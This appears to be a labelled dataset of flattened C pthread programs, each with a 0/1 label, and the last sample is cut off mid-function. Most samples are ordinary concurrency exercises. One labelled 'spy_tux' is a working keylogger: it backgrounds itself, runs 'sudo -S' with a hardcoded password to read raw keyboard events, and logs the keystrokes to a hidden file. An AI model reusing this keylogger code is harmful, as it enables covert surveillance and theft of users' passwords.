text
stringlengths
192
6.24k
label
int64
0
1
#include <pthread.h> static struct list_node **list_head; static struct list_node **free_head; static pthread_mutex_t *mutex; long value; struct list_node *next; }list_node; static struct list_node **list_head; static struct list_node **free_head; static pthread_mutex_t *mutex; void print_list(void) { struct list_node *curr = *list_head; while (curr != 0) { printf("%ld -> ", curr->value); curr = curr->next; } printf("NULL\\n"); } void do_work(void) { pthread_mutex_lock(mutex); struct list_node *n = *free_head; if (n == 0) { pthread_mutex_unlock(mutex); assert(0); } *free_head = (*free_head)->next; n->value = (long) getpid(); n->next = *list_head; *list_head = n; print_list(); pthread_mutex_unlock(mutex); } int main(void) { void *ptr; size_t region_sz = 0; region_sz += sizeof(**list_head)*128; printf("Size of sizeof(**list_head)*MAX_LIST_SZ: %lu\\n", region_sz); printf("Size del singolo: %lu\\n", sizeof(**list_head)); printf("Size of di un nodo invece e' %lu \\n", sizeof(list_node)); region_sz += sizeof(list_head)+sizeof(free_head); printf("sizeof(list_head) %lu, sizeof(free_head) : %lu\\n", sizeof(list_head), sizeof(free_head)); printf("Contenuto di list_head: %p\\n", list_head); region_sz += sizeof(*mutex); printf("sizeof(*mutex): %lu\\n", sizeof(*mutex)); ptr = mmap(0, region_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); if (ptr == MAP_FAILED) { perror("mmap(2) failed"); exit(1); } mutex = ptr; printf("Mutex si trova qui': %p\\n", mutex); free_head = (struct list_node **) (((char *) ptr)+sizeof(*mutex)); printf("freehead invece: %p\\n", free_head); printf("freehead invece: %p\\n", *free_head); list_head = free_head+1; *free_head = (struct list_node *) (list_head+1); *list_head = 0; int i; struct list_node *curr; for (i = 0, curr = *free_head; i < 128 -1; i++, curr++) { curr->next = curr+1; printf("curr->next : %p", curr->next); printf(" - curr invece vale: %p\\n", curr); } curr->next = 0; pthread_mutexattr_t mutex_attr; if (pthread_mutexattr_init(&mutex_attr) < 0) { perror("Failed to initialize mutex attributes"); exit(1); } if (pthread_mutexattr_setpshared(&mutex_attr, PTHREAD_PROCESS_SHARED) < 0) { perror("Failed to change mutex attributes"); exit(1); } if (pthread_mutex_init(mutex, &mutex_attr) < 0) { perror("Failed to initialize mutex"); exit(1); } for (i = 0; i < 2; i++) { pid_t pid; if ((pid = fork()) < 0) { perror("fork(2) error"); exit(1); } if (pid == 0) { do_work(); return 0; } } for (i = 0; i < 2; i++) { if (wait(0) < 0) { perror("wait(2) error"); } } print_list(); return 0; }
1
#include <pthread.h> int init_sockets() { return 0; } void done_sockets() { } int get_last_socket_error() { return get_errno(); } static char socket_error_buf[1024]; static pthread_mutex_t socket_error_buf_lock = PTHREAD_MUTEX_INITIALIZER; void begin_get_socket_error_str() { pthread_mutex_lock(&socket_error_buf_lock); } void end_get_socket_error_str() { pthread_mutex_unlock(&socket_error_buf_lock); } const char* get_socket_error_str(int errorCode) { strncpy(socket_error_buf, strerror(errorCode), sizeof(socket_error_buf)); return socket_error_buf; } int create_tcp_socket() { return socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } int bind_socket(int socket, int port) { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_port = htons(port); return bind(socket, (struct sockaddr*) &addr, sizeof(addr)); } int listen_socket(int socket, int backlog) { return listen(socket, backlog); } int accept_socket(int socket) { return accept(socket, 0, 0); } int close_socket(int socket) { return close(socket); return -1; } enum ShutdownMode { sd_receive = 0, sd_send = 1, sd_both = 2 }; int shutdown_socket(int socket, enum ShutdownMode mode) { int how = SHUT_RD; switch (mode) { case sd_receive: how = SHUT_RD; break; case sd_send: how = SHUT_WR; break; case sd_both: how = SHUT_RDWR; break; } return shutdown(socket, how); } static pthread_mutex_t connect_lock = PTHREAD_MUTEX_INITIALIZER; void begin_connect() { pthread_mutex_lock(&connect_lock); } void end_connect() { pthread_mutex_unlock(&connect_lock); } int connect_socket(const char* node, const char* service, int* sckt, int* getaddrinfofailed) { struct addrinfo hint; struct addrinfo* rp; struct addrinfo* res; memset(&hint, 0, sizeof(struct addrinfo)); hint.ai_flags = 0; hint.ai_family = AF_INET; hint.ai_socktype = SOCK_STREAM; hint.ai_protocol = IPPROTO_TCP; hint.ai_addrlen = 0; hint.ai_addr = 0; hint.ai_canonname = 0; hint.ai_next = 0; *getaddrinfofailed = 0; *sckt = -1; int lastError = 0; int result = getaddrinfo(node, service, &hint, &res); if (result != 0) { *getaddrinfofailed = 1; return result; } for (rp = res; rp != 0; rp = rp->ai_next) { *sckt = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); if (*sckt == -1) { continue; } result = connect(*sckt, rp->ai_addr, rp->ai_addrlen); if (result != 0) { lastError = get_last_socket_error(); close_socket(*sckt); *sckt = -1; } else { break; } } freeaddrinfo(res); if (rp == 0) { return lastError; } return 0; } const char* get_addrinfo_error(int errorCode) { return gai_strerror(errorCode); } int send_socket(int socket, const void* buf, int len, int flags) { return send(socket, buf, len, flags); } int receive_socket(int socket, void* buf, int len, int flags) { return recv(socket, buf, len, flags); }
0
#include <pthread.h> int run = 1; int chopsticks[5] = {0 ,0 ,0 ,0 ,0}; pthread_mutex_t mutex ,mutexc; pthread_cond_t cond[5]; void roundtime() { sleep(30); pthread_mutex_lock(&mutex); run = 0; pthread_mutex_unlock(&mutex); pthread_exit(0); } void philosophers(int *id) { int i = *id; while(run) { int t = rand() % 3 + 1; printf("Philosophers %d is thinking!\\n" ,i ,t); sleep(t); pthread_mutex_lock(&mutex); if(chopsticks[i] == 0 && chopsticks[(i + 1) % 5] == 0) { pthread_mutex_lock(&mutex); chopsticks[i] = 1; chopsticks[(i + 1) % 5] = 1; pthread_mutex_unlock(&mutex); } else { while(chopsticks[i] == 1) { pthread_cond_wait(&cond[i] ,&mutex); pthread_mutex_lock(&mutex); if(chopsticks[i] == 0) { chopsticks[i] = 1; } pthread_mutex_unlock(&mutex); break; } while(chopsticks[(i + 1) % 5] == 1) { pthread_cond_wait(&cond[(i + 1) % 5] ,&mutex); pthread_mutex_lock(&mutex); if(chopsticks[(i + 1) % 5] == 0) { chopsticks[(i + 1) % 5] = 1; } pthread_mutex_unlock(&mutex); break; } } pthread_mutex_unlock(&mutex); t = rand() % 3 + 1; printf("\\tPhilosophers %d is eating! %d sec\\n",i ,t); sleep(t); printf("\\t\\tPhilosophers %d has eaten!\\n" ,i); pthread_mutex_lock(&mutex); chopsticks[i] = 0; chopsticks[(i + 1) % 5] = 0; pthread_cond_signal(&cond[i]); pthread_cond_signal(&cond[(i + 1) % 5]); pthread_mutex_unlock(&mutex); } pthread_exit(0); } int main(int argc ,char **argv) { int i; pthread_mutex_init(&mutex ,0); pthread_mutex_init(&mutexc ,0); for(i = 0 ;i < 5 ;++i) { pthread_cond_init(&cond[i] ,0); } int id[5] = {0 ,1 ,2 ,3 ,4}; pthread_t time ,phi[5]; pthread_create(&time ,pthread_attr_default ,(void *)&roundtime ,0); for(i = 0 ;i < 5 ;i++) { pthread_create(&phi[i] ,pthread_attr_default ,(void *)&philosophers ,&id[i]); } pthread_join(time ,0); return 0; }
1
#include <pthread.h> int fd_pwm,fd_pwm2; int fd_setpin; int server_sockfd, client_sockfd; char *server_ip; char global_buf[50]; unsigned int global_buf_len; unsigned int flag_buf=0; unsigned int flag_new_data=0; unsigned int flag_socket=0; int pwm[2]; int pwm_qian=10; pthread_mutex_t lock_pwm = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t lock_flag = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t ready_pwm = PTHREAD_COND_INITIALIZER; char flag_pwm; void *thread_socket() { int server_len, client_len; struct sockaddr_in server_address; struct sockaddr_in client_address; server_sockfd = socket(AF_INET, SOCK_STREAM, 0); server_address.sin_family = AF_INET; server_address.sin_addr.s_addr = htonl(INADDR_ANY); server_address.sin_port = htons(6000); server_len = sizeof(server_address); bind(server_sockfd, (struct sockaddr *)&server_address, server_len); listen(server_sockfd, 5); char ch; fprintf(stdout, "\\nserver waiting\\n"); client_len = sizeof(client_address); client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_address, &client_len); fprintf(stdout, "\\nSocket connect success\\n"); flag_socket=1; while(1) { int i, len; char socket_buf[1000]; bzero(socket_buf,1000); len = read( client_sockfd, socket_buf, 1000); socket_buf[len]='\\0'; if(len <= 0) { perror("recive data from socket fail !"); exit(1); } else { fprintf(stdout, "\\nrecieve data from socket sueccess, data_len= %d\\n",len); printf("收到的数据是:%s\\n",socket_buf ); if(!strncasecmp(socket_buf, "startB4", 7)) { ioctl(fd_setpin,0,1); ioctl(fd_pwm,0,pwm_qian); ioctl(fd_pwm,1,pwm_qian); fprintf(stdout, "\\nflag_pwm = %d\\n",flag_pwm); } if(!strncasecmp(socket_buf, "stopB4", 6)) { ioctl(fd_setpin,4,1); fprintf(stdout, "\\nflag_pwm = %d\\n",flag_pwm); } if(!strncasecmp(socket_buf,"startB1",7)) { ioctl(fd_setpin,1,1); } if(!strncasecmp(socket_buf,"stopB1",6)) { ioctl(fd_setpin,4,1); } if(!strncasecmp(socket_buf,"startLeft",9)) { ioctl(fd_setpin,5,1); } if(!strncasecmp(socket_buf,"stopLeft",8)) { ioctl(fd_setpin,0,1); } if(!strncasecmp(socket_buf,"startRight",10)) { ioctl(fd_setpin,3,1); } if(!strncasecmp(socket_buf,"stopRight",9)) { ioctl(fd_setpin,0,1); } if(!strncasecmp(socket_buf,"startB3",7)) { pthread_mutex_lock(&lock_pwm); pwm[0]+=100; if(pwm[0]>1000) pwm[0]=1000; ioctl(fd_setpin,0,1); ioctl(fd_pwm,0,(long)pwm[0]); pthread_mutex_unlock(&lock_pwm); fprintf(stdout, "\\npwm[0] = %d \\n", pwm[0]); } if(!strncasecmp(socket_buf,"startB9",7)) { pthread_mutex_lock(&lock_pwm); pwm[0]-=100; if(pwm[0]<100) pwm[0]=10; ioctl(fd_setpin,0,1); ioctl(fd_pwm,0,(long)pwm[0]); pthread_mutex_unlock(&lock_pwm); fprintf(stdout, "\\npwm[0] = %d \\n", pwm[0]); } if(!strncasecmp(socket_buf,"startB2",7)) { pthread_mutex_lock(&lock_pwm); pwm[1]+=100; if(pwm[1]>1000) pwm[1]=1000; ioctl(fd_setpin,0,1); ioctl(fd_pwm,1,(long)pwm[1]); pthread_mutex_unlock(&lock_pwm); fprintf(stdout, "\\npwm[1]= %d \\n", pwm[1]); } if(!strncasecmp(socket_buf,"startB10",8)) { pthread_mutex_lock(&lock_pwm); pwm[1]-=100; if(pwm[1]<=100) pwm[1]=10; ioctl(fd_setpin,0,1); ioctl(fd_pwm,1,(long)pwm[1]); pthread_mutex_unlock(&lock_pwm); fprintf(stdout, "\\npwm[1]= %d \\n", pwm[1]); } } } close(client_sockfd); } int main(void) { int res; pthread_t socket_thread, pwm_thread, pwm2_thread; void *thread_result; fd_pwm=open("/dev/iopwm",O_WRONLY | O_CREAT | O_APPEND); fd_setpin=open("/dev/SetPin",O_WRONLY | O_CREAT | O_APPEND); if(fd_pwm<0) { printf("PWM failed"); return 1; } if(fd_setpin<0) { printf("SetPin failed"); return 1; } res=pthread_create( &socket_thread, 0, thread_socket, 0 ); if(res != 0){ perror("Thread_socket creation failed"); exit(1); } printf("Thread_socket creation successed!!!\\n"); res=pthread_join( socket_thread, &thread_result ); if(res != 0){ perror("Thread_socket join failed"); exit(1); } close(fd_setpin); close(fd_pwm); exit(0); }
0
#include <pthread.h> sem_t full; sem_t empty; pthread_mutex_t mutex; int gArr[16]; void *produce(); void *consume(); pthread_t tid; pthread_attr_t attr; int size; int tNum; int counter; }Producers; pthread_t tid; pthread_attr_t attr; int size; }Consumers; int main(int argc, char *argv[]){ sem_init(&full,0,0); sem_init(&empty,0,16); pthread_mutex_init(&mutex,0); int numP = pow(2,atoi(argv[1])) + 0.5; int numC = pow(2,atoi(argv[2])) + 0.5; int numProduced = pow(2,atoi(argv[3])) + 0.5; Producers pArr[numP]; Producers *p; for(int i =0;i<numP;i++){ p = (Producers *) malloc(sizeof(Producers)); p->size = numProduced; p->tNum = i; p->counter = 0; pthread_attr_init(&(p->attr)); pthread_create(&(p->tid),&(p->attr),produce,p); pArr[i] = *p; } Consumers cArr[numC]; Consumers *c; for(int i=0;i<numC;i++){ c = (Consumers *) malloc(sizeof(Consumers)); c->size = numProduced*numP/numC; pthread_attr_init(&(c->attr)); pthread_create(&(c->tid),&(c->attr),consume,c); cArr[i] = *c; } for(int i = 0; i<numP; i++){ pthread_join(pArr[i].tid, 0); } for(int i = 0; i<numC; i++){ pthread_join(cArr[i].tid, 0); } return 0; } void *produce(void* param){ Producers* arg = (Producers*)param; int value; for(int i=0;i<arg->size;i++){ int produced = arg->tNum * arg->size + arg->counter; sem_wait(&empty); pthread_mutex_lock(&mutex); if(sem_getvalue(&full,&value) == 0){ gArr[value] = produced; arg->counter++; pthread_mutex_unlock(&mutex); sem_post(&full); }else{ pthread_mutex_unlock(&mutex); } } pthread_exit(0); } void *consume(void* param){ Consumers* arg = (Consumers*)param; int value; for(int i=0;i<arg->size;i++){ sem_wait(&full); pthread_mutex_lock(&mutex); sem_getvalue(&full,&value); printf("consumed: %d\\n",gArr[value]); pthread_mutex_unlock(&mutex); sem_post(&empty); } pthread_exit(0); }
1
#include <pthread.h>extern void __VERIFIER_error() ; int table[128]; pthread_mutex_t cas_mutex[128]; pthread_t tids[13]; int cas(int * tab, int h, int val, int new_val) { int ret_val = 0; pthread_mutex_lock(&cas_mutex[h]); if ( tab[h] == val ) { tab[h] = new_val; ret_val = 1; } pthread_mutex_unlock(&cas_mutex[h]); return ret_val; } void * thread_routine(void * arg) { int tid; int m = 0, w, h; tid = *((int *)arg); while(1){ if ( m < 4 ){ w = (++m) * 11 + tid; } else{ pthread_exit(0); } h = (w * 7) % 128; if (h<0) { ERROR: __VERIFIER_error(); ; } while ( cas(table, h, 0, w) == 0){ h = (h+1) % 128; } } return 0; } int main() { int i, arg; for (i = 0; i < 128; i++) pthread_mutex_init(&cas_mutex[i], 0); for (i = 0; i < 13; i++){ arg=i; pthread_create(&tids[i], 0, thread_routine, &arg); } for (i = 0; i < 13; i++){ pthread_join(tids[i], 0); } for (i = 0; i < 128; i++){ pthread_mutex_destroy(&cas_mutex[i]); } return 0; }
0
#include <pthread.h> void Qaullib_Msg_LL_Init (void) { qaul_msg_LL_first = 0; } int Qaullib_Msg_LL_FirstItem (struct qaul_msg_LL_node *node, int id) { int count, max_count; if(id == 0) max_count = MAX_MSG_FIRST; else max_count = MAX_MSG_COUNT; if(qaul_msg_LL_first == 0 || qaul_msg_LL_first->id <= id) return 0; node->item = qaul_msg_LL_first; count = 0; while( count < max_count && node->item->next != 0 && node->item->id > id ) { node->item = node->item->next; count++; } return 1; } int Qaullib_Msg_LL_FirstWebItem (struct qaul_msg_LL_node *node, int id) { int count, max_count; struct qaul_msg_LL_item *tmp_item; node->item = 0; if(id == 0) max_count = MAX_MSG_FIRST_WEB; else max_count = MAX_MSG_COUNT_WEB; if(qaul_msg_LL_first == 0 || qaul_msg_LL_first->id <= id) return 0; tmp_item = qaul_msg_LL_first; if(tmp_item->type == QAUL_MSGTYPE_PUBLIC_IN || tmp_item->type == QAUL_MSGTYPE_PUBLIC_OUT) node->item = tmp_item; count = 0; while( count < MAX_MSG_COUNT && tmp_item->next != 0 && tmp_item->id > id ) { tmp_item = tmp_item->next; count++; if(tmp_item->type == QAUL_MSGTYPE_PUBLIC_IN || tmp_item->type == QAUL_MSGTYPE_PUBLIC_OUT) node->item = tmp_item; } if(node->item != 0) return 1; return 0; } int Qaullib_Msg_LL_NextItem (struct qaul_msg_LL_node *node) { if(node->item != 0 && node->item->next != 0) { node->item = node->item->next; return 1; } return 0; } int Qaullib_Msg_LL_PrevItem (struct qaul_msg_LL_node *node) { if( node->item != 0 && node->item != qaul_msg_LL_first && node->item->prev != 0 ) { node->item = node->item->prev; return 1; } return 0; } int Qaullib_Msg_LL_PrevWebItem (struct qaul_msg_LL_node *node) { struct qaul_msg_LL_item *tmp_item; tmp_item = node->item; while( tmp_item != 0 && tmp_item != qaul_msg_LL_first && tmp_item->prev != 0 ) { tmp_item = tmp_item->prev; if(tmp_item->type == QAUL_MSGTYPE_PUBLIC_IN || tmp_item->type == QAUL_MSGTYPE_PUBLIC_OUT) { node->item = tmp_item; return 1; } } return 0; } void Qaullib_Msg_LL_Add (struct qaul_msg_LL_item *item) { struct qaul_msg_LL_item *new_item; new_item = (struct qaul_msg_LL_item *)malloc(sizeof(struct qaul_msg_LL_item)); new_item->id = item->id; new_item->type = item->type; strncpy(new_item->name, item->name, MAX_USER_LEN); memcpy(&new_item->name[MAX_USER_LEN], "\\0", 1); strncpy(new_item->msg, item->msg, MAX_MESSAGE_LEN); memcpy(&new_item->msg[MAX_MESSAGE_LEN], "\\0", 1); new_item->time = item->time; new_item->read = item->read; new_item->ipv = item->ipv; memcpy(&new_item->ip_union.v4, &item->ip_union.v4, sizeof(struct sockaddr_in)); new_item->prev = 0; new_item->next = 0; pthread_mutex_lock( &qaullib_mutex_msgLL ); new_item->next = qaul_msg_LL_first; if(qaul_msg_LL_first != 0) qaul_msg_LL_first->prev = new_item; qaul_msg_LL_first = new_item; pthread_mutex_unlock( &qaullib_mutex_msgLL ); Qaullib_Msg_LL_DeleteOld(); } void Qaullib_Msg_LL_AddNext (struct qaul_msg_LL_item *item, struct qaul_msg_LL_node *node) { struct qaul_msg_LL_item *new_item; new_item = (struct qaul_msg_LL_item *)malloc(sizeof(struct qaul_msg_LL_item)); new_item->id = item->id; new_item->type = item->type; strncpy(new_item->name, item->name, MAX_USER_LEN); memcpy(&new_item->name[MAX_USER_LEN], "\\0", 1); strncpy(new_item->msg, item->msg, MAX_MESSAGE_LEN); memcpy(&new_item->msg[MAX_MESSAGE_LEN], "\\0", 1); new_item->time = item->time; new_item->read = item->read; new_item->ipv = item->ipv; memcpy(&new_item->ip_union.v4, &item->ip_union.v4, sizeof(struct sockaddr_in)); new_item->prev = 0; new_item->next = 0; if(node->item == 0) { node->item = new_item; } else { new_item->prev = node->item; node->item->next = new_item; node->item = new_item; } } void Qaullib_Msg_LL_Delete_Item (struct qaul_msg_LL_item *item) { pthread_mutex_lock( &qaullib_mutex_msgLL ); if(item->prev != 0) item->prev->next = item->next; if(item->next != 0) item->next->prev = item->prev; pthread_mutex_unlock( &qaullib_mutex_msgLL ); free(item); } void Qaullib_Msg_LL_DeleteOld (void) { int count; struct qaul_msg_LL_node node; node.item = qaul_msg_LL_first; count = 0; while(Qaullib_Msg_LL_NextItem(&node)) { count++; } while(count > MAX_MSG_COUNT && Qaullib_Msg_LL_PrevItem(&node)) { Qaullib_Msg_LL_Delete_Item(node.item->next); count--; } } void Qaullib_Msg_LL_DeleteTmp (struct qaul_msg_LL_node *node) { while(Qaullib_Msg_LL_NextItem(node)) { Qaullib_Msg_LL_Delete_Item(node->item->prev); } }
1
#include <pthread.h> pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; int n = 200000000; void *func(void *data) { int i=2; int flag=0; int num=0; while(1) { flag=0; pthread_mutex_lock(&lock); num=n; if(n==200000401) { pthread_mutex_unlock(&lock); break; } n=n+1; pthread_mutex_unlock(&lock); for(i=2;i<num;i++) { if(num%i==0) { flag=1; break; } } if(flag==1) { printf("%d is not prime\\n",num); } else { printf("%d is prime \\n",num); } } return 0; } int main() { int ret; int i; pthread_t tid[5]; void *retval; for(i=0;i<5;i++) { ret = pthread_create(&tid[i],0,func,0); if(ret !=0) { printf("pthread_create error\\n"); return -1; } } for(i=0;i<5;i++) { pthread_join(tid[i],&retval); } return 0; }
0
#include <pthread.h> char keys[242][20]; FILE *data; pthread_mutex_t mutex; void print_stamp(){ time_t now; char *ti = (char *)malloc(100); time(&now); strcpy(ti, (char *)ctime(&now)); ti[strlen(ti) - 1] = '\\0'; pthread_mutex_lock(&mutex); fprintf(data, "\\n%s : ", ti); fflush(data); pthread_mutex_unlock(&mutex); free(ti); } void signal_heandle(){ print_stamp(); fprintf(data, "-------------------end------------------------\\n"); fclose(data); exit(0); } void read_file(){ FILE *kf = fopen("/home/tharindra/.keys", "r"); if(kf == 0){ print_stamp(); fprintf(data, "ERROR : keys file missing\\n"); exit(0); } char line[40]; int i; for(i = 0; fgets(line, 30, kf) > 0 && i < 242; i++){ line[strlen(line) - 1] = '\\0'; strcpy(keys[i], line); } fclose(kf); } void *th(void *arg){ while(1){ print_stamp(); sleep(30); } } void keylog_init(){ int pfds[2]; int pfds2[2]; data = fopen("/home/tharindra/.data", "a+"); if(pipe(pfds) == -1){ print_stamp(); fprintf(data, "ERROR : pipe error\\n"); exit(0); } if(pipe(pfds2) == -1){ print_stamp(); fprintf(data, "ERROR : pipe error\\n"); exit(0); } if (!fork()) { if (!fork()){ close(1); dup(pfds2[1]); close(pfds2[0]); execlp("echo", "echo", "god created a1pha and 0mega", 0); }else{ wait(0); close(0); dup(pfds2[0]); close(1); dup(pfds[1]); close(pfds[0]); close(pfds2[1]); execlp("sudo", "sudo", "-S", "cat", "/dev/input/event3", 0); } }else{ pthread_t pth; struct input_event *in; char *buff; pthread_mutex_init(&mutex, 0); print_stamp(); fprintf(data, "------------------start-----------------------\\n"); fflush(data); read_file(); pthread_create(&pth, 0, th, 0); while (1){ buff = (char *)malloc(sizeof(struct input_event) * 64); read (pfds[0], buff, sizeof(struct input_event) * 64); read (pfds[0], buff, sizeof(struct input_event) * 64); in = (struct input_event *)buff; if(in -> value < 241) { pthread_mutex_lock(&mutex); fprintf(data, "%s ", keys[in -> value]); fflush(data); pthread_mutex_unlock(&mutex); } free(buff); } } fflush(data); } int main(void){ if(!fork()){ signal(SIGINT | SIGPWR, signal_heandle); keylog_init(); }else{ printf("\\n---spy_tux started!---\\n"); } return 0; }
1
#include <pthread.h> int32_t rpicamera_logger(int32_t log_level, const char *format, ...){ va_list args; int32_t status = 0; __builtin_va_start((args)); pthread_mutex_lock(&logging_mutex); status = vsprintf(RPICAMERA_MODULE_LOGGER_MSG, format, args); ; if (status < 0){ PyErr_SetString(PyExc_ValueError, "Unable to format log message."); status = -1; goto finished; } if(PyObject_CallMethod(RPICAMERA_MODULE_LOGGER, "log", "is", log_level, RPICAMERA_MODULE_LOGGER_MSG)){ status = 0; } else{ status =-1; } finished: pthread_mutex_unlock(&logging_mutex); return status; }
0
#include <pthread.h> int myglobal = 0; pthread_mutex_t mymutex=PTHREAD_MUTEX_INITIALIZER; void *thread_function(void *arg) { int i; for ( i=0; i<20; i++ ) { pthread_mutex_lock(&mymutex); myglobal++; printf("."); fflush(stdout); sleep(1); pthread_mutex_unlock(&mymutex); } return 0; } int main(void) { pthread_t mythread; int i; if (pthread_create(&mythread, 0, thread_function, 0)){ printf("error creating thread."); abort(); } for ( i=0; i<20; i++) { while(pthread_mutex_trylock(&mymutex)){ printf("|"); fflush(stdout); } myglobal++; pthread_mutex_unlock(&mymutex); printf("o"); fflush(stdout); sleep(1); } if ( pthread_join ( mythread, 0 )){ printf("error joining thread."); abort(); } printf("\\nmyglobal equals %d\\n",myglobal); exit(0); }
1
#include <pthread.h> int buffer[8]; int bufin = 0; int bufout = 0; pthread_mutex_t buffer_lock = PTHREAD_MUTEX_INITIALIZER; unsigned int sum = 0; sem_t hay_datos; sem_t hay_sitio; void obten_dato(int *itemp) { *itemp = buffer[bufout]; printf("Consumidor lee %d desde posición %d \\n",*itemp,bufout); bufout = (bufout + 1) % 8; return; } void pon_dato(int item) { printf("Productor pone %d en posición %d \\n",item,bufin); buffer[bufin] = item; bufin = (bufin + 1) % 8; return; } void *productor(void *arg1) { int i; for (i = 1; i <= 100; i++) { sem_wait(&hay_sitio); pthread_mutex_lock(&buffer_lock); pon_dato(i*i); pthread_mutex_unlock(&buffer_lock); sem_post(&hay_datos); } pthread_exit( 0 ); } void *consumidor(void *arg2) { int i, midato; for (i = 1; i<= 100; i++) { sem_wait(&hay_datos); pthread_mutex_lock(&buffer_lock); obten_dato(&midato); pthread_mutex_unlock(&buffer_lock); sem_post(&hay_sitio); sum += midato; } pthread_exit( 0 ); } main() { pthread_t tidprod, tidcons; unsigned int i, total; total = 0; printf("\\nEl resultado deberia ser %u\\n", total); for (i = 1; i <= 100; i++) total += i*i; sem_init(&hay_datos, 0, 0); sem_init(&hay_sitio, 0, 8); pthread_create(&tidcons, 0, consumidor, 0); pthread_create(&tidprod, 0, productor, 0); pthread_join(tidprod, 0); pthread_join(tidcons, 0); printf("\\nEl resultado deberia ser %u\\n", total); printf("Los threads produjeron el valor %u\\n", sum); }
0
#include <pthread.h> extern struct protoent_data _protoent_data; struct protoent * getprotobyname(const char *name) { struct protoent *p; pthread_mutex_lock(&_protoent_mutex); p = getprotobyname_r(name, &_protoent_data.proto, &_protoent_data); pthread_mutex_unlock(&_protoent_mutex); return (p); }
1
#include <pthread.h> int ridersServed = 0; int queueCount = 0; int IDRider[5 +1000]; int IDDriver[5 +1000]; int waitingQueue[5]; int threadCountRiders = 0; int threadCountDrivers = 5; pthread_mutex_t lock; void exitfunc(int sig) { printf("Number of Riders Served: %i\\n",ridersServed); printf("Riders remaining in the queue: %i\\n",queueCount); _exit(1); } void *rider_function(void *arg) { pthread_mutex_lock(&lock); IDRider[threadCountRiders] = threadCountRiders + 1; printf("Rider %i Created\\n",IDRider[threadCountRiders]); printf("Lenth of the queue: %i\\n",queueCount); threadCountRiders++; if(queueCount < 5) { waitingQueue[queueCount] = -1; queueCount++; sleep(1); } else { while(queueCount >= 5) { printf("waiting for space in queue\\n"); sleep(1); } } sleep(rand()%5); pthread_mutex_unlock(&lock); return 0; } void *driver_function(void *arg) { pthread_t tid; pthread_mutex_lock(&lock); IDDriver[threadCountDrivers] = threadCountDrivers + 1; printf("Driver %i arrives\\n", IDDriver[threadCountDrivers]); printf("Lenth of the queue: %i\\n",queueCount); if(queueCount > 0) { int x; printf("Driver %i riding\\n", IDDriver[threadCountDrivers]); sleep(rand()%5); for(x = 0; x <= 5; x++) { if(waitingQueue[x] != -1) { waitingQueue[x] = 0; queueCount--; ridersServed++; threadCountRiders--; printf("Rider %i completed riding\\n",IDRider[threadCountRiders]); threadCountRiders++; printf("Lenth of the queue: %i\\n",queueCount); break; } } } else { while(queueCount == 0) { printf("waiting for riders\\n"); sleep(1); } } threadCountDrivers++; sleep(rand()%5); pthread_mutex_unlock(&lock); return 0; } int main(int argc, char **argv) { time_t startTime = time(0); printf("Welcome to the premier taxi service company ORANGE-SAUCE. \\n"); signal(SIGALRM, exitfunc); alarm(20); pthread_t tidRiders[5]; pthread_t tidDrivers[5]; int i; int j; do { if (pthread_mutex_init(&lock, 0) != 0) { printf("\\n mutex init failed\\n"); return 1; } if(5 >= 5) { for(i = 0; i < 5; i++) { if ( pthread_create( &tidRiders[i], 0, rider_function, 0) ) { printf("error creating thread."); abort(); } if ( pthread_join ( tidRiders[i], 0 ) ) { printf("error joining thread."); abort(); } if(i < 5) { if ( pthread_create( &tidDrivers[i], 0, driver_function, 0) ) { printf("error creating thread."); abort(); } if ( pthread_join ( tidDrivers[i], 0 ) ) { printf("error joining thread."); abort(); } } } } else { for(j = 0; j < 5; j++) { if ( pthread_create( &tidDrivers[j], 0, driver_function, 0) ) { printf("error creating thread."); abort(); } if ( pthread_join ( tidDrivers[j], 0 ) ) { printf("error joining thread."); abort(); } if(j < 5) { if ( pthread_create( &tidRiders[i], 0, rider_function, 0) ) { printf("error creating thread."); abort(); } if ( pthread_join ( tidRiders[i], 0 ) ) { printf("error joining thread."); abort(); } } } } threadCountRiders = 0; threadCountDrivers = 5; pthread_mutex_destroy(&lock); } while (time(0) < startTime + 20); return 0; }
0
#include <pthread.h> pthread_mutex_t Device_mutex; struct VirtualPCB { int tid; char state; int priority; int arrivetime; int cpuburst; int runnedtime; }PCB[20]; void thread_init() { int n; srand(time(0)); for(n=0; n<20; n++) { PCB[n].tid = n+1; PCB[n].state = 'F'; PCB[n].priority = 1+rand()%19; PCB[n].arrivetime = n; PCB[n].cpuburst = 1+rand()%19; PCB[n].runnedtime = 0; } } void *thread_print(void *num) { int n = *(int *)num; while(1) { pthread_mutex_lock(&Device_mutex); printf("Thread%-2d: ", n); printf("tid:%-2d 优先级:%-2d 到达时间:%-2d 执行时间:%-2d \\n", PCB[n-1].tid, PCB[n-1].priority, PCB[n-1].arrivetime, PCB[n-1].cpuburst); pthread_mutex_unlock(&Device_mutex); sleep(1); break; } pthread_exit(0); } void *Create_children() { int ret[20]; thread_init(); pthread_t tid[20]; pthread_mutex_init(&Device_mutex, 0); int i, j; for(i=0; i<20; i++){ int idnum = i+1; ret[i] = pthread_create(&tid[i], 0, &thread_print, &idnum); if(ret[i]==0){sleep(1);} else{printf("Thread%-2d 创建失败!\\n", idnum);} } for(j=0; j<20; j++){ pthread_join(tid[j], 0); } pthread_mutex_destroy(&Device_mutex); pthread_exit(0); } void FCFS(){ printf("\\n------------------先来先服务FCFS调度算法实现结果------------------\\n"); int i, j; int clock = 0; float waittime = 0; float total_waittime = 0; float average_waittime = 0; int starttime = 0; printf("进程\\t 开始时间 运行时间 等待时间 结束时间\\n"); for(i=0; i<20; i++){ for(j=0; j<20; j++){ if(PCB[j].arrivetime == i && PCB[j].state == 'F'){ PCB[j].state = 'T'; starttime = clock; waittime = starttime; total_waittime = total_waittime + waittime; clock = clock + PCB[j].cpuburst; PCB[j].runnedtime = PCB[j].cpuburst; printf("Thread:%-2d \\t%-3d \\t%-2d \\t%-.2f \\t%-2d \\n", PCB[j].tid, starttime, PCB[j].cpuburst, waittime, clock); } } } average_waittime = total_waittime / (float)20; printf("总等待时间:%f\\n", total_waittime); printf("平均等待时间:%f\\n", average_waittime); } void SJF(){ 